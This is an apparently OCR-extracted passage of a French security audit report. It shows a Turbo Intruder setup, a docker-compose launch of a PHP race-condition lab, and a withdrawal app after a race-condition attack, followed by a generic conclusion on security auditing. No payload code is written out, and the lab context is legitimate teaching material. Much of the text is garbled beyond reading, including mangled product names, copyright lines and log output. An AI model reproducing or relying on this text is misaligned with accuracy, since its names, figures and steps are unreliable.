10be Ngy wningto. nmves

Additional information
For Aher Ipormapon. pese refer o he whVIGPAper S8 s vt i PGSl et S G
Copyght # 20162025 PorSmgger Lsd
Estimated system impact ®
Overst Low =
Memory PO Tie Scanner
Elow | @lw  Olw | Blw

Author:  James ‘abmnowax Kett, PoriSwger Web Securty
Version: 154

Source: touuiucn
Updated: 24 Jan 2025
Raing: ek
Popusarity: |

Une fois que I’installation de Turbo Intruder termine, on procéde comme la figure ci-dessous
nous montre.
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Comparer  Logger  Omgarsrer  Exiensions Leam @ senngs
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Intercept s off

On ouvre le browser.

[Hew ] protessiona )
Intruder. supe;

On lance I’application par la commande suivante :

# docker-compose up

: # docker-compose up 4=

Creating network "php-app-race-condition_default" with the default driver

Building mysqgl

Step 1/2 : FROM mariadb:10.5.8

10.5.8: Pulling from library/mariadb

83ee3a23efb7: Downloading [=== ] 5.892MB/28.57MB
db98fc6f11f0: Download complete

fé611acd52c6c: Download complete

332333e25466: Waiting

2025-03-10 12:11:52 0 [Note] InnoDB:

2025-03-10 12:11:52 0 [Note] mysqld:

2025-03-10 12:11:52 0 [Note] InnoDB: Init © _—

2025-03-10 12:11:52 0 [Note] InnoDB: Comp .

2025-03-10 12:11:52 0 [Note] InnoDB: If ti B i b A d priority
can be changed. See the man page of setpriority(). . heep//192.168.1.8/poc.php

2025-03-10 12:11:52 0 [Note] InnoDB: Stari g

2025-03-10 12:11:52 0 [Note] InnoDB: 128 |

2025-03-10 12:11:52 @ [Note] InnoDB: Remoy [—

On commence I’interception on cliquant sur le bouton comme suite.

134217728

==

On fait un clic droit ensuite pour continuer les procédures sur les captures ci-dessous.
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En faisant un payload, nous pouvons obtenir le résultat suivant.

You have withdrawn: 10
Current balance: 9550
Reset Balance

add ?wd=x to withdraw $x

Execution time: 0.0050640106201172 seconds
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CONCLUSION

En conclusion, l'audit de seécurité informatique est une démarche indispensable pour toute
organisation souhaitant sécuriser ses systémes d'information et ses données sensibles. A travers
I'évaluation des vulnérabilités, la proposition de solutions correctives et I'amélioration continue
de la posture de sécurité, cet audit contribue a réduire les risques de cyberattaques et a renforcer
la confiance des parties prenantes. De plus, en intégrant des outils spécialisés tels que Lynis,
Nessus, Metasploit, et Trivy, ainsi que des méthodologies rigoureuses, I'audit permet d'apporter
des réponses précises et efficaces aux enjeux de sécurité. Ainsi, 1’audit devient un levier
stratégique dans la gestion des risques numériques et dans la protection du patrimoine

informatique de I’entreprise.
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